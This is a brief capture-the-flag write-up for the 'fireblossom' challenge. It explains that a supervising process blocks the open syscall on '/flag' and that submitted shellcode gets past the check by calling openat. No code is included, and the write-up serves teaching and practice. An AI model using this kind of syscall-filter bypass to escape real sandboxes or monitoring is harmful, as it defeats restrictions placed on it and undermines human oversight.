# fireblossom (misc 150)
there were 2 files provided
fireblossom: for setting up a jail + sandbox, then runs fireblossom-claypot
fireblossom-claypot: for executing your shellcode
fireblossom debugs fireblossom-claypot, checking that whenever the open syscall
is executed, the file being read is not "/flag"
to bypass this, we use the openat syscall instead
